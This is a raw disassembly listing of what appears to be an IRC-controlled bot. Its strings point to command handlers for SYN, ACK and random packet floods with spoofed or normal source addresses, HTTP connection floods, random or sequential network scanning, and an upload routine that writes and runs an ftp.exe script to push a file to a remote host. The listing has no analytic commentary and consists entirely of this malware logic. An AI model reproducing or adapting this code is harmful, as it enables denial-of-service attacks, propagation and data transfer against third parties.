		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 2690ACEh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


